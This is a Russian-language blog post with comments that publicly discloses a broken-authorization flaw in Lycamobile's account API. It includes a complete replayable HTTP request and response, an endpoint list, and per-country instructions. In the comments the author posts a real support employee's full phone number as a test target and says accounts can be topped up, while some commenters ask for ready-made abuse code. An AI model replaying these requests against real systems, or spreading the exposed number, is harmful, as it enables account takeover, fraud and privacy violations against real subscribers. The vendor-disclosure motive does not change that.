Доброго времени суток. Меня зовут Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps. В марте от одного уважаемого человека мне поступил заказ на исследование приложения Lycamobile и описание его private API. После непродолжительных манипуляций я понял логику запросов и уж было приступил к описанию, но заметил что при смене номера телефона в запросе сервер продолжает отдавать данные. Оказалось что сервер просто не проверяет авторизованы ли мы и вся авторизация в приложении не более чем формальность.
Немного цифр. Lycamobile работает в 21 стране мира, капитализация €1.6 billion. Данная уязвимость работает в uk, de, usa. Для остальных стран было лень проверять.
Команды API можно узнать там же на сервере по адресу maccount.lycamobile.co.uk/MyAccountsAPIGBR.svc (как удобно). Сам запрос выглядит так:
POST /MyAccountsAPIGBR.svc/JSON/GetAccountBalance HTTP/1.1
X-Titanium-Id: 28683211-fe39-471b-8b31-fb6babc37e0c
Content-Type: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Appcelerator Titanium/3.2.1 (7 plus; Android API Level: 17; en-US;)
Host: maccount.lycamobile.co.uk
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=zl3jse3wcjlapok2jhxma42u (необязательный параметр)
Cookie2: $Version=1
Content-Length: 84
{"CountryCode":"GBR","LanguageCode":"en","BrandCode":"LYCA","MSISDN":"44742493хххх"}
А в ответ на придет что-то вроде:
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 106
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 26 May 2017 20:57:58 GMT
Proxy-Connection: Keep-alive
{"Response":{"ResponseCode":"0","ResponseDesc":"Success"},"Balance":"10.56","ValidityDate":"17\/02\/2023"}
Для того чтобы использовать уязвимость под другую страну измените переменную CountryCode и Host на данный искомой страны.
С помощью данной уязвимости можно например узнать личные данные пользователя, заказать ему услугу, узнать почти полный номер кредитки и много чего еще. Стоит отметить что личные данные можно узнать только если юзер зарегистрировался в ЛК и ввел их туда.
Я обращался в службу поддержки на fb и email, просил контакты их безопасников. Однако бестолку, мои сообщения либо игнорировали, либо отвечали стандартными фразами. Такое халатное отношение к юзерам особенно в бурже это нонсенс.
Благодарю за внимание. Надеюсь среди нашего сообщества найдутся люди которые покажут данный материал нужным людям и баг пофиксят.
Комментарии (23)
ru_vlad
27.05.2017 14:13+3Есть у меня на работе один персонаж, очень он любит во время разговора вставлять слово на английском языке, хотя у 99% употребляемых им слов, есть полные аналоги в русско речи, но нет же… Так вот — раздражает неимоверно.
Часом не профессор Выбегалло? ;) хотя не прав тот любил французский диалект :)
monolithed
27.05.2017 17:23-12Доброго времени суток. Меня зовут Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps.
В марте от одного уважаемого человека мне поступил заказ на исследование приложения play.google.com/store/apps/details?id=com.lycamobile.myaccounts и описание его private API.
Поздравляю, на этом ваша карьера закончилась.nikitasius
27.05.2017 19:25+6Поздравляю, на этом ваша карьера закончилась.
С чего бы это? Наоборот к нему снова обратятся. А что до вываливания в общий доступ — правильно сделал, раз саппорт и безопасники игнорят. В мире много непуганных идиотов, вот этим вот постом их станет как бы поменьше, ровно на один отдел в компании.
VORS111
27.05.2017 18:08Последний раз приложение обновляли в 2014 году. Разработчики про него уже забыли, наверное.
pr3dat0r
27.05.2017 18:24+6Вы удивитесь сколько много таких «забытых» api даже в действующих приложениях, которые просто при смене версий перешли на другое api, но при этом не выключили старое дырявое. Например у freetone в API 1.+ можно было с 1го аккаунта по 30 смс слать без остановки, без фильтров и т.д. Правда прикрыли за сутки, ребята молодцы, хоть и забыли про старое API.
nikitasius
27.05.2017 19:27-8Побольше бы в статье кода на тему добавления услуг и майнинга данных, было бы чем занятся завтра.
pr3dat0r
27.05.2017 19:32+1пройдите по ссылке описания api и просто вместо GetAccountBalance вставьте другую переменную. Я специально явно не указал запросы на получение личных данных или кредитной карты.
nikitasius
27.05.2017 19:54-8Какой смысл? Если вываливать, то по полной, чтобы кликом из браузера можно было получить результат.
Gaikotsu
28.05.2017 02:07+2Ну дак и тема адресована не мамкиным кулхацкерам — к чему им давать готовый способ «поразвлечься».
Begunini
28.05.2017 07:59Задача не напрямую нагадить заказчику — они деньги платили, после такого можно спокойно с репутацией попрощаться. Человек дал «затравку», чтобы лишь кому не лень смогли хоть что-то получить и лишь вложив в это долю времени и труда. Скорее больше для огласки пост. А вам прямо дай ключи от квартиры и код сейфа. Какие нынче пошли мошенники ленивые )
BloodForce
28.05.2017 07:59Не удивлюсь, если через их апи можно себе деньги на счёт добавить.
pr3dat0r
28.05.2017 08:01-2Да. Можно пополнить свой счет точно по номеру карты пополнения и вроде как еще по кредитке.
MnogoBukv
28.05.2017 07:59Вот корыто, у меня каждый день со счёта уходит 1 цент. В личном кабинете никаких намёков на это нет. Пишу им в саппорт. Приходит отписка в стиле «проверьте, не включен ли gprs» в одном письме, во втором ещё какая-то ахинея, после намёка на их некомпетентность — просто меня игнорят. Гореть им в аду, вместе с их дырявым api.
r85qPZ1d3y
28.05.2017 18:08X-Titanium-Id будьте добры уточните что это, и как его получить?
Воспроизвожу ваш код, получаю «Method not allowed.» Не пофиксили надеюсь?
Сейчас разберусь как это работает, и обязательно помогу разработчикам объяснить всю глубину опасности данной уязвимости.pr3dat0r
28.05.2017 19:25X-Titanium-Id это обычный uid. Проще говоря генерируется рандомно. Все работает, проверьте на примере баланса. Вот номер парня из тех поддержки на ком я тестил 447424930358. Просто повторите запрос 1 в 1, можете ничего не изменять, куки можно опустить. Единственное введите полный номер, учтите что в Англии и вообще на западе принято выдавать номера по месту жительства, т.е. все операторы будут вперемешку.
DROS
«Немного цифр. Lycamobile работает в 21 стране мира, капитализация €1.6 billion.
Данная уязвимость работает в uk, de, usa.»
Вроде пост на русском языке, да? А зачем тогда так писать? Неужели сложно написать, что капитализация 1.6 млрд евро? И страны указать нормальным языком?
Есть у меня на работе один персонаж, очень он любит во время разговора вставлять слово на английском языке, хотя у 99% употребляемых им слов, есть полные аналоги в русско речи, но нет же… Так вот — раздражает неимоверно.
Spellman
Я даже не заметил. Поменьше бы таких комментариев и больше подобных постов.
pr3dat0r
Капитализация копипаст из википедии. А uk это код страны понятный всем.
nosazus
Рузкий истеричка, да?
PapaBubaDiop
-Почему он так часто переключается с русского языка на английский и наоборот?
-Потому что не знает ни того, ни другого…
(с) сд
Fragster
Когда во всех сми идут таргеты вместо целей и генерации вместо поколений — неудивительно.